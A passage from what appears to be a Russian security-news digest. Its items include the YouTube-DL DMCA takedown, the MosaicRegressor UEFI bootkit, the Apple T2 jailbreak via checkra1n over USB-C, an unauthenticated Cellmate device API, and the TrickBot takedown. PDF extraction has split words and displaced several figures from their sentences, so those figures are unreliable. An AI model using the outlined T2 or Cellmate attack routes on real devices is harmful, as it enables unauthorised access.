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RIAA ПРОТИВ
YOUTUBE‐DL
В этом месяце GitHub ока зал ся в цен тре круп ного скан дала. Пра вооб ладате‐ 
ли  из  Аме рикан ской  ассо циации  зву коза писы вающих  ком паний  (RIAA),
которая  пред став ляет  инте ресы  при мер но  85%  всей  зву коза писы вающей
индус трии в США, добились уда ления с GitHub про екта YouTube‐DL и 17 его
копий.  Дан ная  Python‐биб лиоте ка  при меня лась  во  мно гих  инс тру мен тах
и сер висах для копиро вания кон тента с YouTube, име ла более 72 тысяч звезд
на GitHub и пред став ляла собой один из наибо лее популяр ных репози тори ев
на сай те.

Биб лиоте ка была уда лена из‐за наруше ния DMCA (Digital Millennium Copy‐
right  Act —  Закон  об  автор ском  пра ве  в  циф ровую  эпо ху),  пос коль ку  мог ла
при менять ся для «обхо да тех ничес ких мер защиты, исполь зуемых авто ризо‐ 
ван ными  стри мин говыми  сер висами,  такими  как  YouTube».  Это  яко бы  поз‐ 
воляло  поль зовате лям  «вос про изво дить  и  рас простра нять  музыкаль ные
видео  и  зву коза писи  без  раз решения  [пра вооб ладате лей]».  В  час тнос ти,
в  пись ме  перечис лены  сле дующие  работы,  из‐за  которых  воз никли  проб‐ 
лемы:

Icona Pop — I Love It (feat. Charli XCX) [Official Video], owned by Warner Music
Group;

•

Justin Timberlake — Tunnel Vision (Explicit), owned by Sony Music Group;•
Taylor  Swift  —  Shake  it  Off,  owned/exclusively  licensed  by  Universal  Music
Group.

•

В  сущ ности,  пред ста вите ли RIAA  даже  не  заяв ляют  о  наруше нии DMCA  и  о
том,  что  YouTube‐DL  наруша ет  пра ва  чле нов Ассо циации,  а  утвер жда ют,  что
биб лиоте ка сама по себе незакон на.

Это  породи ло шквал  кри тики  в  адрес RIAA, GitHub  и  ком пании Microsoft,
которой с 2018  года при над лежит сер вис. Прос тые поль зовате ли,  экспер ты
и  пра воза щит ники  писали,  что  YouTube‐DL  был  популя рен  не  толь ко  сре ди
пиратов:  к  при меру,  им  активно  поль зовались  интернет‐архи вис ты,  а  так же
биб лиоте ку  неред ко  при меня ли  для  заг рузки  бес плат ных  докумен таль ных
филь мов, видео, пред став ляющих собой дос тояние общес твен ности.

Мно гие поль зовате ли начали спе циаль но рас простра нять исходные коды
YouTube‐DL, соз давая все новые и новые репози тории (вско ре счет уже шел
на сот ни), и раз мещать исходни ки даже в самом репози тории с уве дом лени‐ 
ями DMCA на GitHub,  а  так же в  соци аль ных сетях,  в  том чис ле  закоди ровав
исходни ки в изоб ражения.

Бо лее  того,  тре бова ния  RIAA  рас простра нялись  не  толь ко  на GitHub.  Так же
пред ста вите ли Ассо циации пытались добить ся зак рытия офи циаль ного сай та
YouTube‐DL  (yt‐dl.org),  о  чем  уве доми ли  хос тера  ресур са —  немец кую  ком‐ 
панию Uberspace. Руководс тво хос тера отве тило RIAA через сво их юрис тов,
что ком пания ничего не наруша ла, а на сай те про екта на тот момент вооб ще
не  было  никако го  ПО  или  исходных  кодов,  так  как  все  ссыл ки  для  заг рузки
вели на GitHub.

По ка  скан дал набирал обо роты,  выяс нилось и  сов сем неожи дан ное: Нэт
Фрид ман (Nat Friedman), воз гла вив ший GitHub пос ле при обре тения сер виса
Microsoft в 2018 году, тоже недово лен таким положе нием. Изда ние TorrentF‐
reak сооб щило,  что CEO GitHub при соеди нил ся  к  IRC‐каналу раз работ чиков
YouTube‐DL  и  под твер дил  свою  лич ность,  опуб ликовав  пост  у  себя  в  офи‐ 
циаль ном Twitter.

Фрид ман выразил сожале ние из‐за сло жив шей ся ситу ации и сооб щил, что
хочет уста новить кон такт с раз работ чиками, что бы помочь им как мож но быс‐ 
трее раз бло киро вать и вос ста новить репози торий.

«GitHub  сущес тву ет,  что бы  помогать  раз работ чикам,  и  мы  никог да
не  желали  мешать  их  работе.  Мы  хотим  помочь  раз работ чикам
YouTube-DL  откло нить  жалобу  DMCA,  что бы  они  мог ли  вос ста новить
свой репози торий, — объ яснил Фрид ман пред ста вите лям TorrentFreak,
под твер див, что дей стви тель но заходил в IRC. — Эта [ситу ация] меня
рас серди ла.  Воз можно,  из‑за  важ ности  таких  инс тру мен тов,
как  YouTube-DL,  для  архи вис тов  или  из‑за  нашей  собс твен ной
архивной  прог раммы  и  финан сирова ния  Internet  Archive.  Мы  раз- 
мышля ем  над  тем,  как  в  будущем можем  про активно  помогать  раз- 
работ чикам  с  пре тен зиями  DMCA  и  брать  на  себя  более  активную
роль  в  рефор мирова нии/анну лиро вании  раз дела  1201  [Закона
об автор ском пра ве в циф ровую эпо ху]».

При этом гла ва GitHub объ ясня ет, что репози торий YouTube‐DL вряд ли может
быть вос ста нов лен в исходном виде. Толь ко если из кода и соп роводи тель‐ 
ной докумен тации убе рут те час ти, что поз воля ют обой ти защиту пла вающим
шиф ром (rolling cipher), которая исполь зует ся на YouTube и которую YouTube‐
DL  успешно  обма нывал,  а  так же  при меры  того,  как  заг ружать  матери алы,
защищен ные автор ским пра вом.

НОВЫЙ DDOS‐РЕКОРД: 2,54 ТБИТ/С
Ко ман да  Google  Cloud  рас ска зала  о  ранее  неиз вес тной  DDoS‐ата ке,  которая  была  нацеле на
на сер вис Google еще в сен тябре 2017 года, а ее пиковая мощ ность дос тигала  ,
что дела ет ее мощ ней шей зафик сирован ной ата кой в исто рии.

2,54 Тбит/с

По  информа ции  Google  Threat  Analysis  Group,  ответс твен ность  за  эту  ата ку  лежала  на  «пра‐ 
витель ствен ных  хакерах»:  ата ка  исхо дила  ,  из  сетей  четырех  кон крет ных  про вай‐ 
деров: ASN  ,  ,   и  .

из Китая
4134 4837 58453 9394

2,54  Тбит/с  ста ли  куль минаци ей  дол гой    про тив Google.  За  это
вре мя зло умыш ленни ки исполь зовали раз ные методы атак и пытались подор вать работу сер‐ 
верной инфраструк туры.

шес тимесяч ной кам пании

Нес коль ко  сетей  для  спу фин га  сла ли    пакетов  в  секун ду  на    откры тых
сер веров  ,   и  ,  которые затем отправ ляли огромные отве ты Google. На какие
имен но сер висы нацели вались хакеры, не сооб щает ся.

167  000  000 180  000
CLDAP DNS SMTP

ВТОРОЙ БУТКИТ
ДЛЯ UEFI
Ана лити ки «Лабора тории Кас пер ско го» поведа ли об обна руже нии шпи онской
кам пании,  которая  исполь зовала  слож ную  модуль ную  струк туру  MosaicRe‐
gressor, куда, в чис ле про чего, выходил бут кит для Unified Extensible Firmware
Interface  (UEFI),  все го  вто рой  извес тный  экспер там  за  всю  исто рию  наб‐ 
людений.

Ата ки на UEFI — это нас тоящий свя той Гра аль для хакеров. Ведь UEFI заг‐ 
ружа ется  до  опе раци онной  сис темы и  кон тро лиру ет  все  про цес сы  на  «ран‐ 
нем стар те». Отсю да и глав ная опас ность, свя зан ная с ком про мета цией этой
сре ды: если внес ти изме нения в код UEFI, мож но получить пол ный кон троль
над компь юте ром. Нап ример, изме нить память, содер жание дис ка или, как в
слу чае с бут китом MosaicRegressor, зас тавить опе раци онную сис тему запус‐ 
тить  вре донос ный  файл.  Пос коль ку  речь  идет  о  низ коуров невой  мал вари,
изба вить ся от нее с помощью замены жес тко го дис ка или пере уста нов ки ОС
не вый дет.

Од нако такие ата ки край не ред ки. Дело в том, что вме шатель ство на столь
низ ком  уров не  реали зовать  слож но,  зло умыш ленни кам,  по  сути,  нужен
физичес кий  дос туп  к  устрой ству,  либо  при дет ся  ком про мети ровать  цели
при  помощи  слож ных  атак  на  цепоч ки  пос тавок  и  модифи циро вать  UEFI
или инс тру мен ты, работа ющие с UEFI.

Пер вый  бут кит  для  UEFI    спе циалис тами  ком пании  ESET
в 2018 году. Тог да иссле дова тели приш ли к выводу, что он был делом рук рус‐ 
ско языч ной пра витель ствен ной  хак‐груп пы Fancy Bear.  Теперь же ана лити ки
«Лабора тории  Кас пер ско го»  при писы вают  авторс тво  MosaicRegressor
хакерам, говоря щим по‐китай ски.

был  обна ружен

Из менения в UEFI

Со обща ется, что активность MosaicRegressor была выяв лена с помощью тех‐ 
нологии Firmware Scanner, которая вхо дит в сос тав про дук тов «Лабора тории
Кас пер ско го» с начала 2019 года и была раз работа на спе циаль но для детек‐ 
тирова ния  угроз,  скры вающих ся  в мик росхе мах ROM BIOS,  вклю чая обра зы
про шивок UEFI.

Ис сле довав  инфраструк туру  MosaicRegressor,  спе циалис ты  уста нови ли,
что в осно ву ком понен тов бут кита положен код Vector‐EDK. Это спе циаль ный
конс трук тор,  соз данный  Hacking  Team,  который  в  том  чис ле  содер жит  инс‐ 
трук цию по соз данию модуля для переп рошив ки UEFI. Напом ню, в 2015 году
этот и дру гие инс тру мен ты Hacking Team  , что поз‐ 
волило зло умыш ленни кам соз давать собс твен ное ПО с минималь ными уси‐ 
лиями: они прос то допол нили исходный код вре донос ным ком понен том.

утек ли в сво бод ный дос туп

По ка экспер там еще пред сто ит изу чить все ком понен ты MosaicRegressor,
но тот, который они уже рас смот рели, собира ет все докумен ты из пап ки Re‐
cent  Documents  и  помеща ет  в  архив,  защищен ный  паролем.  Ско рее  все го,
таким обра зом зло умыш ленни ки готовят фай лы к хищению.

Бут кит UEFI был обна ружен толь ко на двух сис темах, тог да как про чие ком‐ 
понен ты MosaicRegressor най дены на мно жес тве компь юте ров. Судя по все‐ 
му,  хакеры  весь ма  тща тель но  выбира ли  цели  для  атак:  все  они  были  дип‐ 
ломата ми и НПО в Афри ке, Азии и стра нах Евро пы.

«Этот файл пред став ляет собой заг рузчик, он свя зыва ется с сер вером
управле ния, собира ет все недав ние докумен ты на компь юте ре, архи- 
виру ет  их  и  переда ет  обратно  на  сер вер.  По  сути,  это  прос то шпи- 
онаж,  —  ком менти рует  Игорь  Куз нецов,  ведущий  эксперт  по  кибер- 
безопас ности в «Лабора тории Кас пер ско го». — Мы так же наш ли дру- 
гие  ком понен ты  MosaicRegressor,  которые  пред положи тель но  сбра- 
сыва ются с самого сер вера управле ния, выпол няют вре донос ный код,
а затем уда ляют ся. Сей час есть информа ция о двух жер твах бут кита
UEFI, а так же нес коль ких жер твах кам пании, стол кнув шихся с целевым
фишин гом.  Все  они  явля ются  дип ломата ми  либо  чле нами НКО,  а  их
деятель ность свя зана с Север ной Коре ей».

ДЕФИЦИТ ВИДЕОКАРТ NVIDIA
Хо тя офи циаль но новое поколе ние виде окарт Nvidia уже пос тупило в про дажу, на деле купить
кар ты  3000‐й  серии  край не  труд но,  если  не  ска зать  невоз можно.  Осо бен но  это  каса ется
GeForce RTX 3080 и 3090, да и с покуп кой RTX 3070 могут воз никнуть проб лемы. Как теперь
приз нал гла ва Nvidia Джен сен Хуан, выс тупая на кон ферен ции GPU Technology Conference, этот
дефицит прод лится как минимум до начала 2021 года.

→ «У 3080 и 3090 есть проб лема спро са,  а не пред ложения. Проб лема спро са  зак люча ется
в  том,  что  он  нам ного  боль ше,  чем  мы  ожи дали,  хотя  мы  ожи дали  дей стви тель но  высокий
спрос.  Роз ничные  про дав цы  ска жут  вам,  что  они  не  видели  подоб ного  [ажи ота жа  на  рын ке],
свя зан ном  с  компь юте рами,  более  десяти  лет.  Это  ухо дит  кор нями  к  ста рым  вре менам Win‐
dows 95 и Pentium, ког да люди, буд то обе зумев, ску пали такие товары. То есть с подоб ным мы
не стал кивались уже очень дав но и ока зались прос то не готовы к это му.

Я  очень  ценю  это  и  не  думаю,  что  это  реаль ная  проб лема,  которую  нуж но  решать.
Это феномен, который нуж но прос то наб людать»
— заявил Джен сен Хуан

ДЖОН МАКАФИ
АРЕСТОВАН
Ми нис терс тво  юсти ции  США  сооб щило,  что  в  Испа нии  был  арес тован  74‐
лет ний Джон Макафи. Быв шего гла ву McAfee обви няют в укло нении от упла ты
налогов, умыш ленном укло нении от подачи налого вых дек лараций и наруше‐ 
нии  закона  о  цен ных  бумагах. В  нас тоящее  вре мя Макафи ожи дает  экс тра‐ 
диции в США.

В  общей  слож ности Макафи  пред ста нет  перед  судом  в  свя зи  с  десятью
обви нени ями.  Аме рикан ская Комис сия  по  цен ным бумагам и бир жам  (SEC)
намере вает ся  судить ся  с  ним  отдель но,  утвер ждая,  что  он  зарабо тал
не мень ше 23 мил лионов дол ларов на рек ламных акци ях, свя зан ных с крип‐ 
товалю тами, а так же крип товалют ных сдел ках, нарушая самые раз ные законы
и пра вила.

Сог ласно  обви нитель ному  зак лючению  Минюс та,  Макафи  не  упла тил
налоги на средс тва, которые зарабо тал в пери од с 2014 по 2018 год. Так же
пра витель ство  заяв ляет,  что Макафи  дав но  укло няет ся  от  встреч  с  налого‐ 
выми  инспек торами  и  пытал ся  скрыть  свои  акти вы,  вклю чая  нед вижимость
и яхту (как пра вило, переда вая пра ва собс твен ности дру гим людям).

По дан ным про кура туры, Макафи зарабо тал десят ки мил лионов дол ларов
на  сво их  мно гочис ленных  под писчи ках  в  Twitter,  рек ламируя  крип товалю ты,
и тоже не упла тил с это го никаких налогов. Отме чает ся, что в пос ледние годы
Макафи регуляр но получал гонора ры за выс тупле ния и кон суль тации, а так же
зарабо тал на про даже прав на экра низа цию исто рии сво ей жиз ни.

«Джон  Макафи  зарабо тал  мил лионы  на  прод вижении  крип товалют,
кон суль таци онной  работе,  выс тупле ниях  и  про даже  прав  на  свою
исто рию  для  докумен таль ного  филь ма.  С  2014  по  2018  год Макафи
не подавал налого вые дек ларации, нес мотря на получе ние зна читель- 
ного дохода из этих источни ков», — гла сит заяв ление пра воох раните- 
лей.

В  ито ге,  если Макафи  приз нают  винов ным,  ему  может  гро зить  до  пяти  лет
тюрем ного  зак лючения  за  укло нение  от  упла ты  налогов,  а  так же  до  одно го
года  зак лючения  по  каж дому  из  пяти  обви нений  в  умыш ленном  укло нении
от подачи налого вых дек лараций.

В свою оче редь, пред ста вите ли Комис сии по цен ным бумагам и бир жам
пишут,  что  Макафи  зараба тывал,  рас ска зывая  сво им  под писчи кам  о  крип‐ 
товалю тах. При этом быв ший гла ва McAfee не сооб щал людям о том, что ему
зап латили  за  рек ламу  опре делен ных  аль ткой нов,  а  в  некото рых  слу чаях  он
и  вов се  имел  долю  в  ком пани ях,  в  которые  при зывал  вкла дывать  средс тва.
К  при меру,  в  одном  слу чае  Макафи  рек ламиро вал  неназ ванное  ICO
и  одновре мен но  с  этим  пытал ся  про дать  свою  долю,  вло жен ную  в  эту  ком‐ 
панию.

В общей слож ности рек лама семи  ICO в Twitter при нес ла Джо ну Макафи
око ло 23 мил лионов дол ларов, и спе циалис ты под черки вают, что во всех слу‐ 
чаях «рекомен дации Макафи были лож ными и вво дящи ми в заб лужде ние».

Су деб ный иск со сто роны SEC не гро зит тюрем ным зак лючени ем, одна ко,
если Макафи приз нают винов ным, ему при дет ся иметь дело с мно гомил лион‐ 
ными штра фами и пенями.

Так же  в  судеб ных  докумен тах  фигури рует  и  Джим ми  Уот сон  (Jimmy Wat‐
son), в пос ледние годы отве чав ший за лич ную безопас ность Макафи. По дан‐ 
ным влас тей, час то он помогал вес ти перего воры от лица Макафи и при этом
прис воил более 300 тысяч дол ларов.

ОТЧЕТ О ПРОЗРАЧНОСТИ
Впер вые в исто рии ком пания «Яндекс» опуб ликова ла отчет о проз рачнос ти,  то есть рас кры ла
ста тис тику о том, как час то получа ет зап росы от орга нов государс твен ной влас ти, каса ющиеся
поль зователь ских дан ных.

Толь ко   зап росов из  , пос тупив ших c янва ря по июль 2020 года, были откло‐ 
нены. То есть ком пания удов летво рила   зап росов влас тей.

16% (2468) 15 376
12 908

Ча ще  все го  за  этот  пери од  госор ганы  инте ресо вались  дан ными Яндекс.Поч ты  и  Яндекс.Пас‐ 
порта поль зовате лей (  зап росов), а так же поез дка ми в Яндекс.Так си (  зап росов).8867 5280

Ча ще все го ком пания откло няла зап росы на рас кры тие дан ных геосер висов: откло нены   зап‐ 
росов из  .

17
41

Мень ше все го госор ганы инте ресо вались информа цией меди асер висов Яндекса: лишь   зап‐ 
росов, удов летво рили из которых толь ко  .
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ВЗЛОМ APPLE T2
Объ еди нив  два  экс пло ита,  изна чаль но  раз работан ных  для  взло ма  iPhone
(checkm8  и  Blackbird),  иссле дова тели  сумели  взло мать  устрой ства  на  базе
macOS, осна щен ные чипами безопас ности Apple T2.

Хо тя экс плу ата ция этих уяз вимос тей слож на, в пос ледние недели тех ника
объ еди нения двух экс пло итов неод нократ но упо мина лась в Twitter и на Reddit
и  в  ито ге  прив лекла  вни мание  ИБ‐экспер тов,  которые  уже  про вери ли  ее
и под твер дили,  что она работа ет. Так, дан ный метод поз воля ет поль зовате‐ 
лям/хакерам получать пол ный кон троль над устрой ства ми, изме нять поведе‐ 
ние ОС, орга низо вывать извле чение кон фиден циаль ных или зашиф рован ных
дан ных и даже уста нав ливать мал варь.

На пом ню, что чипы Apple T2 были офи циаль но пред став лены в 2017 году,
а начиная с 2018 года ими ком плек туют ся прак тичес ки все устрой ства Apple
(iMac,  Mac  Pro,  Mac mini  и  MacBook).  По  сути  T2  пред став ляет  собой  соп‐ 
роцес сор, который по умол чанию занима ется обра бот кой зву ка и раз личных
низ коуров невых задач, тем самым сни мая наг рузку с основно го про цес сора.
Но так же Apple T2 игра ют роль чипов безопас ности, Secure Enclave Processor,
которые  отве чают  за  обра бот ку  кон фиден циаль ных  дан ных,  вклю чая  крип‐ 
тогра фичес кие  опе рации,  пароли  KeyChain,  аутен тифика цию  TouchID,  под‐ 
держи вают  работу  зашиф рован ного  хра нили ща  и  безопас ной  заг рузки
устрой ства.

Ис сле дова тели  при дума ли  метод  взло ма  T2  и  наш ли  спо соб  запус кать
про изволь ный код на чипе безопас ности во вре мя заг рузки, изме няя его нор‐ 
маль ное  поведе ние.  Как  уже  было  ска зано,  ата ка  пот ребу ет  объ еди нения
двух  дру гих  экс пло итов,  которые  изна чаль но  были  раз работа ны  для  джей‐ 
лбрей ка устрой ств на базе iOS, а имен но   и  . Такой под ход
работа ет бла года ря общим аппа рат ным и прог рам мным фун кци ям,  которые
при сутс тву ют у Apple T2 и iPhone.

checkm8 Blackbird

Сог ласно дан ным бель гийской ИБ‐ком пании IronPeak, взлом T2 пот ребу ет
под клю чения  к  Mac  или  MacBook  через  USB‐C  и  пос леду юще го  запус ка

 от коман ды Checkra1n вер сии 0.11.0 во вре мя заг‐ 
рузки девай са. В ито ге зло умыш ленник получит  root‐дос туп к чипу T2 и смо‐ 
жет взять под кон троль бук валь но все, что работа ет на целевом устрой стве,
а так же получит воз можность вос ста новить зашиф рован ные дан ные. Иссле‐ 
дова тели объ ясня ют, почему этот метод сра баты вает:

джей лбрейк‐инс тру мен та

«Apple оста вила откры тым отла доч ный интерфейс в T2, что поз воля ет
любому  вой ти  в  режим  обновле ния  про шив ки  устрой ства  (DFU)
без  аутен тифика ции.  Исполь зуя  этот  под ход,  мож но  соз дать  кабель
USB-C, который будет авто мати чес ки экс плой тить устрой ства на базе
macOS во вре мя заг рузки».

Опас ность,  свя зан ная  с  новой  тех никой  взло ма,  оче вид на.  По  сути,  теперь
любой Mac или MacBook, оставлен ный без прис мотра, может быть взло ман
челове ком,  который  прос то  под клю чит  к  нему  кабель  USB‐C,  перезаг рузит
устрой ство  и  запус тит  Checkra1n  0.11.0.  Так же  этот  метод  откры вает  новые
воз можнос ти для пра воох ранитель ных орга нов, которые смо гут получать дос‐ 
туп к Mac и MacBook подоз рева емых и извле кать зашиф рован ную информа‐ 
цию.

К сожале нию, это аппа рат ная проб лема и ее не удас тся лег ко испра вить.
Единс твен ный  спо соб  устра нить  пос ледс твия  такой  ата ки  —  это  пере уста‐ 
новить BridgeOS, опе раци онную сис тему, работа ющую на  чипах T2,  говорят
экспер ты IronPeak.

Пред ста вите ли Apple никак не про ком менти рова ли выводы экспер тов.

ХАКЕРСКАЯ БЛАГОТВОРИТЕЛЬНОСТЬ
Ха керы,  сто ящие  за  раз работ кой  вымога теля  Darkside,  пожер тво вали  ,
получен ных в  качес тве выкупов, в поль зу Children  International  (неком мерчес кая орга низа ция,
которая  помога ет  детям,  живущим  в  усло виях  край ней  нищеты)  и  The  Water  Project  (неком‐ 
мерчес кая  орга низа ция,  цель  которой —  обес печить  дос туп  к  чис той  воде  в  стра нах  Афри ки
к югу от Сахары). Каж дая орга низа ция получи ла от хакеров по  .

10  000  дол ларов

0,88 бит кой на

→ «Мы  нацели ваем ся  толь ко  на  круп ные  и  при быль ные  кор порации.  Мы  счи таем  спра вед‐ 
ливым, что часть денег, которые они зап латили, пой дет на бла гот воритель ность. Неваж но, нас‐ 
коль ко, по‐вашему, пло ха наша работа, мы все рав но рады тому, что помог ли изме нить чью‐то
жизнь», — пишут хакеры на сво ем сай те.

Зло умыш ленни ки умал чива ют о том, что ни одна из неком мерчес ких орга низа ций, которым они
переве ли  день ги,  не  смо жет  сох ранить  эти  «пожер тво вания»,  так  как  получе ние  и  исполь‐ 
зование  средств,  получен ных  незакон ным  путем,  тоже  незакон но.  Поэто му  пожер тво вания,
ско рее все го, будут кон фиско ваны или воз вра щены отпра вите лям.

БАГИ В ПОЯСАХ
ВЕРНОСТИ
Ана лити ки Pen Test Partners изу чили край не необыч ный девайс: муж ской пояс
вер ности  Cellmate  про изводс тва  китай ской  ком пании  Qiui.  Такие  гад жеты
поз воля ют  вла дель цам  доверить  дос туп  к  сво им  генита лиям  пар тне ру,
который  может  бло киро вать  и  раз бло киро вать  устрой ство  уда лен но,
с помощью Bluetooth и спе циаль ного при ложе ния.

Од нако,  как  выяс нили  экспер ты,  из‐за  мно гочис ленных  проб лем
с безопас ностью такие устрой ства могут  уда лен но бло киро вать и откры вать
и  хакеры, а руч ного  управле ния для  «ава рий ного» откры вания или физичес‐ 
кого клю ча для Cellmate поп росту не пре дус мотре но. То есть заб локиро ван‐ 
ные поль зовате ли могут ока зать ся в край не неп рият ном положе нии.

Ис сле дова тели  про вери ли  и  сооб щают,  что  открыть  заб локиро ван ное
устрой ство мож но раз ве что при помощи бол тореза или бол гарки, перере зав
сталь ную дуж ку, но дело осложня ется тем, что она рас положе на вок руг яичек
вла дель ца  гад жета.  Так же  устрой ство  откро ется,  если  перег рузить  пла ту,
которая  кон тро лиру ет  работу  зам ка,  и  для  это го  понадо бит ся  при менить
к устрой ству при мер но три воль та элек три чес тва (две батареи AA).

«За про шед шие годы и мы, и дру гие иссле дова тели не раз обна ружи- 
вали похожие проб лемы у раз ных про изво дите лей секс‑игру шек. Лич- 
но я счи таю, что такие интимные устрой ства дол жны соот ветс тво вать
более высоким стан дартам безопас ности, чем какие‑то лам почки», —
говорит эксперт Pen Test Partners Алекс Ломас.

Ин терес но,  что  иссле дова тели  сооб щили  про изво дите лю  о  проб лемах
с безопас ностью Cellmate еще в апре ле текуще го года. И если сна чала пред‐ 
ста вите ли Qiui охот но пош ли на кон такт, то потом выяс нилось, что инже неры
ком пании не смог ли пол ностью устра нить уяз вимость, и с тех пор Qiui вооб ще
перес тала отве чать на пись ма спе циалис тов.

Ос новная проб лема Cellmate зак люча ется в его API, который исполь зует ся
для свя зи меж ду гад жетом и спе циаль ным мобиль ным при ложе нием. API ока‐ 
зал ся открыт  любому жела юще му и не  защищен паролем,  а из‐за это го  кто
угод но  может  зах ватить  кон троль  над  устрой ством  любого  поль зовате ля.
Это не толь ко поз волит хакерам уда лен но управлять Cellmate, но и поможет
получить  дос туп  к  информа ции  жер твы,  вклю чая  дан ные  о  мес тополо жении
и пароли.

Ин женеры Qiui обно вили при ложе ние в июне, стре мясь испра вить ошиб ку,
но поль зовате ли, у которых до сих пор оста ются ста рые вер сии, по‐преж нему
уяз вимы  перед  ата ками.  Алекс  Ломас  объ ясня ет,  что  сей час  раз работ чики
находят ся в зат рудни тель ном положе нии. Если они пол ностью отклю чат ста‐ 
рый API, это устра нит  уяз вимость, но  тог да поль зовате ли,  которые не обно‐ 
вили при ложе ние, ока жут ся заб локиро ваны. Если же API про дол жит работать,
ста рые вер сии при ложе ния будут уяз вимы для атак.

Ис полни тель ный  дирек тор  Qiui  Джейк  Гуо  (Jake  Guo)  сооб щил  изда нию
TechCrunch, что пол ноцен ное исправ ление бага дол жно появить ся в августе,
но  этот  срок  про шел,  а  решения  для  проб лемы  все  еще  нет.  В  одном
из писем Гуо ска зал, что «исправ ление лишь соз даст еще боль ше проб лем».

В ито ге спус тя нес коль ко месяцев обще ния с раз работ чиками ана лити ки
Pen  Test  Partners  решили обна родо вать  информа цию о  проб лемах Cellmate,
наде ясь, что это пос пособс тву ет их пол ному исправ лению. ИБ‐экспер ты спе‐ 
циаль но не рас кры вают всех под робнос тей об уяз вимос ти, что бы хакеры ей
не вос поль зовались.

Од нако, по информа ции изда ния TechCrunch, эта уяз вимость — наимень‐ 
шая  из  проб лем  вла дель цев  таких  устрой ств.  Судя  по  отзы вам  в  Apple  App
Store и Google Play Store, мобиль ное при ложе ние Cellmate неред ко перес тает
работать само по себе, слу чай но.

«При ложе ние  пол ностью  перес тало  работать  через  три  дня,  и  я  зас‐ 
трял!» — пишет один поль зователь. «Это ОПАС НАЯ прог рамма!» — пре дуп‐ 
режда ет дру гой вла делец Cellmate. Еще один отзыв с одной звез дой гла сит:
«Пос ле обновле ния при ложе ние перес тало откры вать устрой ство. Это ужас‐ 
но,  учи тывая,  чтó мы ему доверя ем, а на сай те  [про изво дите ля] нет никаких
объ ясне ний».  Еще  один  пос тра дав ший  жалу ется:  «Мой  пар тнер  заперт!
Это  воз мутитель но,  пос коль ку  до  сих  пор  неиз вес тно,  будет  ли  это  исправ‐ 
лено, а новых отве тов по элек трон ной поч те нет. Очень опас но! И страш но!
Учи тывая, чтó кон тро лиру ет это при ложе ние, оно дол жно быть надеж ным».

«Очень  слож но,  прос то  взгля нув  на  про дукт  или  при ложе ние,  опре- 
делить,  безопас но  ли  оно  хра нит  ваши  дан ные  или  собира ет  под- 
робную  информа цию  об  исполь зовании  и  тому  подоб ные  вещи,  —
говорит  Ломас.  —  Наде юсь,  в  будущем  некото рые  стра ны  и  шта ты
нач нут  вво дить  стан дарты  для  IoT-про дук тов,  а  пока  перед  покуп кой
прос то  набери те  в  поис ковике  „наз вание  про дук та  +  уяз вимость“
или  поищи те  стра ницы,  пос вящен ные  безопас ности,  на  сай те  про- 
изво дите ля  (и  не  прос то  кли ше,  вро де  „шиф рование  воен ного  уров- 
ня“)».

РОСКОМНАДЗОР И LINKEDIN
Пред ста вите ли  биз неса,  юрис ты  и  общес твен ники  написа ли  в  Рос комнад зор  офи циаль ное
пись мо  с  прось бой  раз бло киро вать  на  тер ритории  Рос сии  соци аль ную  сеть  LinkedIn,  дос туп
к  которой  огра ничи вает ся  с  2016  года.  В  чис ле  под писав ших  это  пись мо  экспер тов  были
и  пред ста вите ли  Рос Ком Сво боды.  Руково дитель  орга низа ции  Артём  Коз люк  счи тает,  что
никаких пре пятс твий для сня тия бло киров ки с LinkedIn в Рос сии не сущес тву ет.

→ «Нес мотря на то что поль зовате ли LinkedIn при вык ли обхо дить бло киров ку в Рос сии, само
огра ниче ние  дос тупа  к  круп ней шей  в  мире  деловой  соци аль ной  сети  выг лядит  нелепо,  а  ее
при чины — надуман ными. При зываю Рос комнад зор про явить силу воли, вклю чить разум и отка‐ 
зать ся от абсур дно го прес ледова ния впол не легаль ного делово го сер виса, который в том чис ле
интегри рован  в  биз нес и  науч ные  струк туры  в Рос сии.  Тем более при меры,  ког да  над зорное
ведомс тво отка зыва ется от  сво их пер воначаль ных пла нов бло киро вать  круп ные сер висы,  уже
были  —  вспом ним  Telegram.  Счи таю,  что  и  для  раз бло киров ки  LinkedIn  нет  никаких  пре пятс‐ 
твий»
— говорит Коз люк

TRICKBOT
ПОВЕРЖЕН?
Ко али ция тех нологи чес ких ком паний сде лала пуб личное заяв ление и рас ска‐ 
зала  о  ско орди ниро ван ных  уси лиях,  нап равлен ных  на  лик видацию
инфраструк туры бот нета TrickBot. В опе рации про тив бот нета при няли учас‐ 
тие  спе циалис ты  коман ды Microsoft  Defender,  неком мерчес кой  орга низа ции
FS‐ISAC, а так же ESET, Lumen, NTT и Symantec.

По дан ным учас тни ков коали ции, толь ко за пос ледние четыре года TrickBot
заразил  более  мил лиона  компь юте ров  во  всех  стра нах  мира.  В  нас тоящее
вре мя  TrickBot,  неког да  пред став лявший  собой  обыч ный  бан ков ский  тро ян,
прев ратил ся в огромный бот нет, рас простра няющий самую раз ную мал варь.
К при меру, в 2019 году мал варь исполь зовала бот нет Emotet для рас простра‐ 
нения и в даль нейшем дос тавля ла на машины жертв вымога тель Ryuk.

Microsoft, ESET, Symantec и их пар тне ры рас ска зали, что пот ратили мно го
месяцев  на  сбор более  125  тысяч  образцов  TrickBot,  40  тысяч фай лов  кон‐ 
фигура ции  и  как  минимум  28  отдель ных  пла гинов,  пос леду ющий  ана лиз  их
содер жимого, извле чение и мап пинг информа ции о внут ренней работе мал‐ 
вари  (вклю чая  сер веры,  исполь зуемые  бот нетом  для  управле ния  заражен‐ 
ными машина ми и обслу жива ния допол нитель ных модулей).

В ито ге, соб рав и струк туриро вав все эту информа цию, пред ста вите ли Mi‐
crosoft  обра тились  в  суд  с  тре бова нием  передать  ком пании  кон троль
над сер верами TrickBot.

«На осно вании пред став ленных доказа тель ств суд раз решил Microsoft
и ее пар тне рам деак тивиро вать IP-адре са, сде лать недос тупным кон- 
тент,  хра нящий ся  на  управля ющих  сер верах,  отре зать  опе рато ров
бот нета от всех сер висов, а так же пре сечь любые попыт ки опе рато ров
TrickBot  при обрести  или  арен довать  допол нитель ные  сер веры»,  —
говорит ся в заяв лении ком пании.

Cбои в работе TrickBot дей стви тель но начались в кон це сен тября 2020 года,
ког да  ском про мети рован ные  компь юте ры  получи ли  обновле ние,  которое
отклю чило  их  от  бот нета,  так  как  адрес  управля юще го  сер вера  изме нил ся
на 127.0.0.1 (localhost).

Од нако  мно гие  экспер ты  пре дуп режда ли,  что,  даже  если  понача лу  Mi‐
crosoft уда лось отклю чить инфраструк туру TrickBot, ско рее все го, бот нет все
